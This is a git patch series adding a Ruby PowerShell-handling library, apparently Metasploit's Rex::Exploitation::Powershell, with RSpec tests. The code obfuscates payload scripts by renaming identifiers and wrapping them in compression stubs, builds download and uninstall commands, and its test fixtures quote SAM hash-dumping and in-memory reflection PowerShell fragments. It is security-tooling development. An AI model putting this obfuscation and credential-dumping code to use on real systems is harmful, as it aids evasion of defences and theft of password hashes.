+    # Reverse the compression process
+    # Try gzip, inflate if that fails
+    #
+    # @return [String] Decompressed powershell code
+    def decompress_code
+      # Extract substring with payload
+      encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
+      # Decode and decompress the string
+      @code = ( Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) ) ||
+        Rex::Text.zlib_inflate( Rex::Text.decode_base64(encoded_stream)) )
+      return code
+    end
+  end
+
+end
+end
+end
+
diff --git a/lib/rex/exploitation/powershell/param.rb b/lib/rex/exploitation/powershell/param.rb
new file mode 100644
index 000000000000..ac1cc3f58197
--- /dev/null
+++ b/lib/rex/exploitation/powershell/param.rb
@@ -0,0 +1,30 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  class Param
+    attr_accessor :klass, :name
+    def initialize(klass,name)
+      @klass = klass.strip.gsub(/\[|\]|\s/,'')
+      @name = name.strip.gsub(/\s|,/,'')
+    end
+
+    #
+    # To String
+    #
+    # @return [String] Powershell param
+    def to_s
+      "[#{klass}]$#{name}"
+    end
+  end
+
+end
+end
+end
+
diff --git a/lib/rex/exploitation/powershell/parser.rb b/lib/rex/exploitation/powershell/parser.rb
new file mode 100644
index 000000000000..fc25aa404c9e
--- /dev/null
+++ b/lib/rex/exploitation/powershell/parser.rb
@@ -0,0 +1,150 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  module Parser
+    # Reserved special variables
+    # Acquired with: Get-Variable | Format-Table name, value -auto
+    RESERVED_VARIABLE_NAMES = [
+        '$$',
+        '$?',
+        '$^',
+        '$_',
+        '$args',
+        '$ConfirmPreference',
+        '$ConsoleFileName',
+        '$DebugPreference',
+        '$Env',
+        '$Error',
+        '$ErrorActionPreference',
+        '$ErrorView',
+        '$ExecutionContext',
+        '$false',
+        '$FormatEnumerationLimit',
+        '$HOME',
+        '$Host',
+        '$input',
+        '$LASTEXITCODE',
+        '$MaximumAliasCount',
+        '$MaximumDriveCount',
+        '$MaximumErrorCount',
+        '$MaximumFunctionCount',
+        '$MaximumHistoryCount',
+        '$MaximumVariableCount',
+        '$MyInvocation',
+        '$NestedPromptLevel',
+        '$null',
+        '$OutputEncoding',
+        '$PID',
+        '$PROFILE',
+        '$ProgressPreference',
+        '$PSBoundParameters',
+        '$PSCulture',
+        '$PSEmailServer',
+        '$PSHOME',
+        '$PSSessionApplicationName',
+        '$PSSessionConfigurationName',
+        '$PSSessionOption',
+        '$PSUICulture',
+        '$PSVersionTable',
+        '$PWD',
+        '$ReportErrorShowExceptionClass',
+        '$ReportErrorShowInnerException',
+        '$ReportErrorShowSource',
+        '$ReportErrorShowStackTrace',
+        '$ShellId',
+        '$StackTrace',
+        '$true',
+        '$VerbosePreference',
+        '$WarningPreference',
+        '$WhatIfPreference'
+      ].map(&:downcase).freeze
+
+    #
+    # Get variable names from code, removes reserved names from return
+    #
+    def get_var_names
+      our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
+      return our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
+    end
+
+    #
+    # Get function names from code
+    #
+    def get_func_names
+      return code.scan(/function\s([a-zA-Z\-\_]+)/).uniq.flatten
+    end
+
+    # Attempt to find string literals in PSH expression
+    def get_string_literals
+      code.scan(/@"(.*)"@|@'(.*)'@/)
+    end
+
+    #
+    # Scan code and return matches with index
+    #
+    def scan_with_index(str,source=code)
+      ::Enumerator.new do |y|
+        source.scan(str) do
+          y << ::Regexp.last_match
+        end
+      end.map{|m| [m.to_s,m.offset(0)[0]]}
+    end
+
+    #
+    # Return matching bracket type
+    #
+    def match_start(char)
+      case char
+      when '{'
+        '}'
+      when '('
+        ')'
+      when '['
+        ']'
+      when '<'
+        '>'
+      end
+    end
+
+    #
+    # Extract block of code between inside brackets/parens
+    #
+    # Attempts to match the bracket at idx, handling nesting manually
+    # Once the balanced matching bracket is found, all script content
+    # between idx and the index of the matching bracket is returned
+    #
+    def block_extract(idx)
+      start = code[idx]
+      stop = match_start(start)
+      delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
+      delims.map {|x| x[1] = x[1] + idx + 1}
+      c = 1
+      sidx = nil
+      # Go through delims till we balance, get idx
+      while not c == 0 and x = delims.shift do
+        sidx = x[1]
+        x[0] == stop ? c -=1 : c+=1
+      end
+      return code[idx..sidx]
+    end
+
+    def get_func(func_name, delete = false)
+      start = code.index(func_name)
+      idx = code[start..-1].index('{') + start
+      func_txt = block_extract(idx)
+      code.delete(ftxt) if delete
+      return Function.new(func_name,func_txt)
+    end
+  end # Parser
+
+end
+end
+end
+
diff --git a/lib/rex/exploitation/powershell/psh_methods.rb b/lib/rex/exploitation/powershell/psh_methods.rb
new file mode 100644
index 000000000000..398e5b2e1ab5
--- /dev/null
+++ b/lib/rex/exploitation/powershell/psh_methods.rb
@@ -0,0 +1,75 @@
+# -*- coding: binary -*-
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  ##
+  # Convenience methods for generating powershell code in Ruby
+  ##
+
+  module PshMethods
+
+    #
+    # Download file via .NET WebClient
+    #
+    # @param src [String] URL to the file
+    # @param target [String] Location to save the file
+    #
+    # @return [String] Powershell code to download a file
+    def self.download(src,target=nil)
+      target ||= '$pwd\\' << src.split('/').last
+      return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
+    end
+
+    #
+    # Uninstall app, or anything named like app
+    #
+    # @param app [String] Name of application
+    # @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
+    #   the application name
+    #
+    # @return [String] Powershell code to uninstall an application
+    def self.uninstall(app,fuzzy=true)
+      match = fuzzy ? '-like' : '-eq'
+      return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
+    end
+
+    #
+    # Create secure string from plaintext
+    #
+    # @param str [String] String to create as a SecureString
+    #
+    # @return [String] Powershell code to create a SecureString
+    def self.secure_string(str)
+      return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
+    end
+
+    #
+    # Find PID of file lock owner
+    #
+    # @param filename [String] Filename
+    #
+    # @return [String] Powershell code to identify the PID of a file
+    #   lock owner
+    def self.who_locked_file?(filename)
+      return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
+    end
+
+    #
+    # Return last time of login
+    #
+    # @param user [String] Username
+    #
+    # @return [String] Powershell code to return the last time of a user
+    #   login
+    def self.get_last_login(user)
+      return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
+    end
+  end
+
+end
+end
+end
+
diff --git a/lib/rex/exploitation/powershell/script.rb b/lib/rex/exploitation/powershell/script.rb
new file mode 100644
index 000000000000..9331f19fde77
--- /dev/null
+++ b/lib/rex/exploitation/powershell/script.rb
@@ -0,0 +1,112 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  class Script
+    attr_accessor :code
+    attr_reader :functions
+
+    include Output
+    include Parser
+    include Obfu
+    # Pretend we are actually a string
+    extend Forwardable
+    # In case someone messes with String we delegate based on its instance methods
+    #eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+    def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
+                   :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
+                   :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
+                   :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
+                   :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
+                   :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
+                   :delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
+                   :hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
+                   :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
+                   :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
+                   :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
+                   :initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
+                   :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
+                   :end_with?
+
+    def initialize(code)
+      @code = ''
+      begin
+        # Open code file for reading
+        fd = ::File.new(code, 'rb')
+        while (line = fd.gets)
+          @code << line
+        end
+
+        # Close open file
+        fd.close
+      rescue Errno::ENAMETOOLONG, Errno::ENOENT
+        # Treat code as a... code
+        @code = code.to_s.dup # in case we're eating another script
+      end
+      @functions = get_func_names.map {|f| get_func(f)}
+    end
+
+
+    ##
+    # Class methods
+    ##
+
+    #
+    # Convert binary to byte array, read from file if able
+    #
+    # @param input_data [String] Path to powershell file or powershell
+    #   code string
+    # @param var_name [String] Byte array variable name
+    #
+    # @return [String] input_data as a powershell byte array
+    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      # File will raise an exception if the path contains null byte
+      if input_data.include? "\x00"
+        code = input_data
+      else
+        code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      end
+
+      code = code.unpack('C*')
+      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+      lines = []
+      1.upto(code.length-1) do |byte|
+        if(byte % 10 == 0)
+          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+        else
+          lines.push ",0x#{code[byte].to_s(16)}"
+        end
+      end
+
+      return psh << lines.join("") + "\r\n"
+    end
+
+    #
+    # ?? RageLtMan
+    #
+    # @param dir [String] ?
+    def self.psp_funcs(dir)
+      scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
+      functions = scripts.map {|s| Script.new(s).functions}
+      return functions.flatten
+    end
+
+    #
+    # Return list of code modifier methods
+    #
+    # @return [Array] Code modifiers
+    def self.code_modifiers
+      self.instance_methods.select {|m| m =~ /^(strip|sub)/}
+    end
+  end # class Script
+
+end
+end
+end
+

From 98d2b2293b48fa16f8d8fb0a7f93086b1d69ce15 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 26 Apr 2014 13:05:47 +0100
Subject: [PATCH 094/108] Unnecessary return

---
 lib/rex/exploitation/powershell.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index c4a52c12136c..697773062b25 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -20,7 +20,7 @@ module Powershell
   #
   # @return [PowershellScript] PowerShellScript object
   def read_script(script_path)
-    return PowershellScript.new(script_path)
+    PowershellScript.new(script_path)
   end
 
   #

From 8031e50d35c1f5e4cd2e634f2ef9fdbcf84d3689 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 26 Apr 2014 13:27:25 +0100
Subject: [PATCH 095/108] Make Exploitation::Powershell testable

Example test
---
 lib/rex/exploitation/powershell.rb           | 10 +++++-----
 spec/lib/rex/exploitation/powershell_spec.rb | 16 ++++++++++++++++
 2 files changed, 21 insertions(+), 5 deletions(-)
 create mode 100644 spec/lib/rex/exploitation/powershell_spec.rb

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 697773062b25..dd542e8f6670 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -18,9 +18,9 @@ module Powershell
   #
   # @param script_path [String] Path to the Script File
   #
-  # @return [PowershellScript] PowerShellScript object
-  def read_script(script_path)
-    PowershellScript.new(script_path)
+  # @return [Script] Powershell Script object
+  def self.read_script(script_path)
+    Rex::Exploitation::Powershell::Script.new(script_path)
   end
 
   #
@@ -32,7 +32,7 @@ def read_script(script_path)
   # @param subs [Array] Substitutions to insert
   #
   # @return [String] Modified script file
-  def make_subs(script, subs)
+  def self.make_subs(script, subs)
     if ::File.file?(script)
       script = ::File.read(script)
     end
@@ -50,7 +50,7 @@ def make_subs(script, subs)
   # @param subs [String] A ; seperated list of substitutions
   #
   # @return [Array] An array of substitutions
-  def process_subs(subs)
+  def self.process_subs(subs)
     return [] if subs.nil? or subs.empty?
     new_subs = []
     subs.split(';').each do |set|
diff --git a/spec/lib/rex/exploitation/powershell_spec.rb b/spec/lib/rex/exploitation/powershell_spec.rb
new file mode 100644
index 000000000000..2ea36a4816d8
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell_spec.rb
@@ -0,0 +1,16 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell do
+
+  describe "::read_script" do
+    it 'should create a script from a string input' do
+      script = described_class.read_script("parp")
+      script.should be_a_kind_of Rex::Exploitation::Powershell::Script
+    end
+  end
+
+end
+

From 3ae8c3ff46f25bdc6aa6190c32c552509fce713f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 18:14:39 +0100
Subject: [PATCH 096/108] Basic specs

---
 spec/lib/rex/exploitation/powershell_spec.rb | 33 +++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/spec/lib/rex/exploitation/powershell_spec.rb b/spec/lib/rex/exploitation/powershell_spec.rb
index 2ea36a4816d8..688569196315 100644
--- a/spec/lib/rex/exploitation/powershell_spec.rb
+++ b/spec/lib/rex/exploitation/powershell_spec.rb
@@ -5,12 +5,43 @@
 
 describe Rex::Exploitation::Powershell do
 
+  let(:example_script) do
+    """function DumpHashes
+{
+    LoadApi
+    $bootkey = Get-BootKey;
+    $hbootKey = Get-HBootKey $bootkey;
+    Get-UserKeys | %{
+        $hashes = Get-UserHashes $_ $hBootKey;
+        \"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid,
+            [BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(),
+            [BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower());
+    }
+}
+DumpHashes"""
+  end
+
   describe "::read_script" do
     it 'should create a script from a string input' do
-      script = described_class.read_script("parp")
+      script = described_class.read_script(example_script)
       script.should be_a_kind_of Rex::Exploitation::Powershell::Script
     end
   end
 
+  describe "::process_subs" do
+    it 'should create an array of substitutions to process' do
+      subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;")
+      subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']]
+    end
+  end
+
+  describe "::make_subs" do
+    it 'should substitute values in script' do
+      script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']])
+      script.include?('BitConverter').should be_false
+      script.include?('ParpConverter').should be_true
+    end
+  end
+
 end
 

From b860cecad67387bea090031cbb3c2dea228b2521 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 18:43:47 +0100
Subject: [PATCH 097/108] Function spec (doesnt pass)

---
 lib/rex/exploitation/powershell/function.rb   |  1 -
 .../exploitation/powershell/function_spec.rb  | 76 +++++++++++++++++++
 2 files changed, 76 insertions(+), 1 deletion(-)
 create mode 100644 spec/lib/rex/exploitation/powershell/function_spec.rb

diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb
index 748a2dd328d4..074222af8c9a 100644
--- a/lib/rex/exploitation/powershell/function.rb
+++ b/lib/rex/exploitation/powershell/function.rb
@@ -1,6 +1,5 @@
 # -*- coding: binary -*-
 
-require 'zlib'
 require 'rex/text'
 
 module Rex
diff --git a/spec/lib/rex/exploitation/powershell/function_spec.rb b/spec/lib/rex/exploitation/powershell/function_spec.rb
new file mode 100644
index 000000000000..6ad49989b949
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/function_spec.rb
@@ -0,0 +1,76 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::Function do
+
+  let(:function_name) do
+    Rex::Text.rand_text_alpha(15)
+  end
+
+  let(:example_function_without_params) do
+    """
+{
+    ls HKLM:\SAM\SAM\Domains\Account\Users |
+        where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} |
+            Add-Member AliasProperty KeyName PSChildName -PassThru |
+            Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
+            Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru |
+            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru |
+            Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru
+}"""
+  end
+
+  let(:example_function_with_params) do
+    """
+    {
+        Param
+        (
+            [OutputType([Type])]
+
+            [Parameter( Position = 0)]
+            [Type[]]
+            $Parameters = (New-Object Type[](0)),
+
+            [Parameter( Position = 1 )]
+            [Type]
+            $ReturnType = [Void]
+        )
+
+        $Domain = [AppDomain]::CurrentDomain
+        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+        Write-Output $TypeBuilder.CreateType()
+    }"""
+  end
+
+  describe "::initialize" do
+    it 'should handle a function without params' do
+      function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
+      function.name.should eq function_name
+      function.code.should eq example_function_without_params
+      function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true
+      function.params.should be_kind_of Array
+      function.params.empty?.should be_true
+    end
+
+    it 'should handle a function with params' do
+      function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
+      function.name.should eq function_name
+      function.code.should eq example_function_with_params
+      function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true
+      function.params.should be_kind_of Array
+      function.params.length.should be == 2
+    end
+  end
+
+end
+

From 399928cf69502dbd52e61a5f25440a825dc473d2 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 13:37:17 +0100
Subject: [PATCH 098/108] Remove unnecessary requires

---
 lib/rex/exploitation/powershell/function.rb | 2 --
 lib/rex/exploitation/powershell/param.rb    | 3 ---
 2 files changed, 5 deletions(-)

diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb
index 074222af8c9a..8468380bd0de 100644
--- a/lib/rex/exploitation/powershell/function.rb
+++ b/lib/rex/exploitation/powershell/function.rb
@@ -1,7 +1,5 @@
 # -*- coding: binary -*-
 
-require 'rex/text'
-
 module Rex
 module Exploitation
 
diff --git a/lib/rex/exploitation/powershell/param.rb b/lib/rex/exploitation/powershell/param.rb
index ac1cc3f58197..652f0af1ec15 100644
--- a/lib/rex/exploitation/powershell/param.rb
+++ b/lib/rex/exploitation/powershell/param.rb
@@ -1,8 +1,5 @@
 # -*- coding: binary -*-
 
-require 'zlib'
-require 'rex/text'
-
 module Rex
 module Exploitation
 

From 589d235a8064f1cce283e1c557252541956bbfae Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 13:46:52 +0100
Subject: [PATCH 099/108] Simple param spec

---
 .../rex/exploitation/powershell/param_spec.rb | 27 +++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 spec/lib/rex/exploitation/powershell/param_spec.rb

diff --git a/spec/lib/rex/exploitation/powershell/param_spec.rb b/spec/lib/rex/exploitation/powershell/param_spec.rb
new file mode 100644
index 000000000000..2ae71205c23d
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/param_spec.rb
@@ -0,0 +1,27 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::Param do
+
+  let(:param_name) do
+    Rex::Text.rand_text_alpha(15)
+  end
+
+  let(:klass_name) do
+    Rex::Text.rand_text_alpha(15)
+  end
+
+  describe "::initialize" do
+    it 'should create a param' do
+      param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name)
+      param.should be
+      param.name.should eq param_name
+      param.klass.should eq klass_name
+      param.to_s.include?("[#{klass_name}]$#{param_name}").should be_true
+    end
+  end
+
+end
+

From 162b6a8ab91548651e7d049ad72fb50625bf6465 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 14:48:18 +0100
Subject: [PATCH 100/108] Add output spec

---
 lib/rex/exploitation/powershell/output.rb     |  26 ++--
 .../exploitation/powershell/output_spec.rb    | 115 ++++++++++++++++++
 2 files changed, 131 insertions(+), 10 deletions(-)
 create mode 100644 spec/lib/rex/exploitation/powershell/output_spec.rb

diff --git a/lib/rex/exploitation/powershell/output.rb b/lib/rex/exploitation/powershell/output.rb
index 19e5a4fc2353..7a72ca01fd06 100644
--- a/lib/rex/exploitation/powershell/output.rb
+++ b/lib/rex/exploitation/powershell/output.rb
@@ -35,7 +35,8 @@ def to_s_lineno
       code.split(/\r\n|\n/).each_with_index do |line,idx|
         numbered << "#{idx}: #{line}"
       end
-      return numbered
+
+      numbered
     end
 
     #
@@ -119,14 +120,10 @@ def gzip_code(eof = nil)
     #
     # @param eof [String] End of file identifier to append to code
     # @param gzip [Boolean] Whether to use gzip compression or deflate
-    # @param in_place [Boolean] Whether to update the current script
-    #   code or just return the output.
     #
     # @return [String] Compressed code wrapped in decompression stub
-    def compress_code(eof = nil, gzip = true, in_place = true)
-      code = gzip ? gzip_code(eof) : deflate_code(eof)
-      @code = code if in_place
-      return code
+    def compress_code(eof = nil, gzip = true)
+      @code = gzip ? gzip_code(eof) : deflate_code(eof)
     end
 
     #
@@ -138,9 +135,18 @@ def decompress_code
       # Extract substring with payload
       encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
       # Decode and decompress the string
-      @code = ( Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) ) ||
-        Rex::Text.zlib_inflate( Rex::Text.decode_base64(encoded_stream)) )
-      return code
+      unencoded = Rex::Text.decode_base64(encoded_stream)
+      begin
+        @code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
+      rescue Zlib::GzipFile::Error
+        begin
+          @code = Rex::Text.zlib_inflate(unencoded)
+        rescue Zlib::DataError => e
+          raise RuntimeError, "Invalid compression"
+        end
+      end
+
+      @code
     end
   end
 
diff --git a/spec/lib/rex/exploitation/powershell/output_spec.rb b/spec/lib/rex/exploitation/powershell/output_spec.rb
new file mode 100644
index 000000000000..e57bf778889c
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/output_spec.rb
@@ -0,0 +1,115 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::Output do
+
+  let(:example_script) do
+    Rex::Text.rand_text_alpha(400)
+  end
+
+  let(:subject) do
+    Rex::Exploitation::Powershell::Script.new(example_script)
+  end
+
+  let(:eof) do
+    Rex::Text.rand_text_alpha(10)
+  end
+
+  describe "::to_s" do
+    it 'should print the script' do
+      subject.to_s.should eq example_script
+    end
+  end
+
+  describe "::size" do
+    it 'should return the size of the script' do
+      subject.size.should eq example_script.size
+    end
+  end
+
+  describe "::to_s_lineno" do
+    it 'should print the script with line numbers' do
+      subject.to_s_lineno.should eq "0: #{example_script}"
+    end
+  end
+
+  describe "::deflate_code" do
+    it 'should zlib the code and wrap in powershell in uncompression stub' do
+      compressed = subject.deflate_code
+      compressed.include?('IO.Compression.DeflateStream').should be_true
+      compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
+      $1.size.should be < Rex::Text.encode_base64(example_script).size
+      compressed.should eq subject.code
+    end
+
+    it 'should append an eof marker if specified' do
+      compressed = subject.deflate_code(eof)
+      compressed.include?("echo '#{eof}';").should be_true
+    end
+  end
+
+  describe "::encode_code" do
+    it 'should base64 encode the code' do
+      encoded = subject.encode_code
+      encoded.should eq subject.code
+      encoded =~ /^([A-Za-z0-9\/+=]+)$/
+      $1.size.should eq encoded.size
+    end
+  end
+
+  describe "::gzip_code" do
+    it 'should gzip the code and wrap in powershell in uncompression stub' do
+      compressed = subject.gzip_code
+      compressed.include?('IO.Compression.GzipStream').should be_true
+      compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
+      $1.size.should be < Rex::Text.encode_base64(example_script).size
+      compressed.should eq subject.code
+    end
+
+    it 'should append an eof marker if specified' do
+      compressed = subject.gzip_code(eof)
+      compressed.include?("echo '#{eof}';").should be_true
+    end
+  end
+
+  describe "::compress_code" do
+    it 'should gzip by default' do
+      compressed = subject.compress_code
+      compressed.include?('IO.Compression.GzipStream').should be_true
+    end
+
+    it 'should deflate if gzip is false' do
+      compressed = subject.compress_code(nil,false)
+      compressed.include?('IO.Compression.DeflateStream').should be_true
+    end
+
+    it 'should append an eof' do
+      compressed = subject.compress_code(eof)
+      compressed.include?("echo '#{eof}';").should be_true
+    end
+  end
+
+  describe "::decompress_code" do
+    it 'should locate the base64 string and decompress it when deflate is used' do
+      compressed = subject.compress_code(nil, false)
+      decompressed = subject.decompress_code
+      decompressed.should eq example_script
+    end
+
+    it 'should locate the base64 string and decompress it when gzip is used' do
+      compressed = subject.compress_code
+      decompressed = subject.decompress_code
+      decompressed.should eq example_script
+    end
+
+    it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do
+      corrupted = "FromBase64String('parp')"
+      subject.code = corrupted
+      expect { subject.decompress_code }.to raise_error(RuntimeError)
+      subject.code.should eq corrupted
+    end
+  end
+end
+

From 6ab85027a4b3e25bf88068293298dc00c54f723d Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 17:47:30 +0100
Subject: [PATCH 101/108] More spec

---
 lib/rex/exploitation/powershell/obfu.rb       |  24 ++-
 lib/rex/exploitation/powershell/parser.rb     |  59 +++++--
 lib/rex/exploitation/powershell/script.rb     |   5 +-
 .../rex/exploitation/powershell/obfu_spec.rb  | 127 ++++++++++++++
 .../exploitation/powershell/parser_spec.rb    | 159 ++++++++++++++++++
 5 files changed, 353 insertions(+), 21 deletions(-)
 create mode 100644 spec/lib/rex/exploitation/powershell/obfu_spec.rb
 create mode 100644 spec/lib/rex/exploitation/powershell/parser_spec.rb

diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb
index 2a1d36488451..18a7b241e782 100644
--- a/lib/rex/exploitation/powershell/obfu.rb
+++ b/lib/rex/exploitation/powershell/obfu.rb
@@ -1,6 +1,5 @@
 # -*- coding: binary -*-
 
-require 'zlib'
 require 'rex/text'
 
 module Rex
@@ -13,21 +12,23 @@ module Obfu
     #
     # Create hash of string substitutions
     #
+    # @param strings [Array] array of strings to generate unique names
+    #
+    # @return [Hash] map of strings with new unique names
     def sub_map_generate(strings)
       map = {}
       strings.flatten.each do |str|
-        map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
-        # Ensure our variables are unique
-        while not map.values.uniq == map.values
-          map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
-        end
+        @rig.init_var(str)
+        map[str] = @rig[str]
       end
-      return map
+
+      map
     end
 
     #
     # Remove comments
     #
+    # @return [String] code without comments
     def strip_comments
       # Multi line
       code.gsub!(/<#(.*?)#>/m,'')
@@ -38,6 +39,7 @@ def strip_comments
     #
     # Remove empty lines
     #
+    # @return [String] code without empty lines
     def strip_empty_lines
       # Windows EOL
       code.gsub!(/[\r\n]+/,"\r\n")
@@ -49,6 +51,7 @@ def strip_empty_lines
     # Remove whitespace
     # This can break some codes using inline .NET
     #
+    # @return [String] code with whitespace stripped
     def strip_whitespace
       code.gsub!(/\s+/,' ')
     end
@@ -56,6 +59,7 @@ def strip_whitespace
     #
     # Identify variables and replace them
     #
+    # @return [String] code with variable names replaced with unique values
     def sub_vars
       # Get list of variables, remove reserved
       vars = get_var_names
@@ -68,6 +72,8 @@ def sub_vars
     #
     # Identify function names and replace them
     #
+    # @return [String] code with function names replaced with unique
+    #   values
     def sub_funcs
       # Find out function names, make map
       # Sub map keys for values
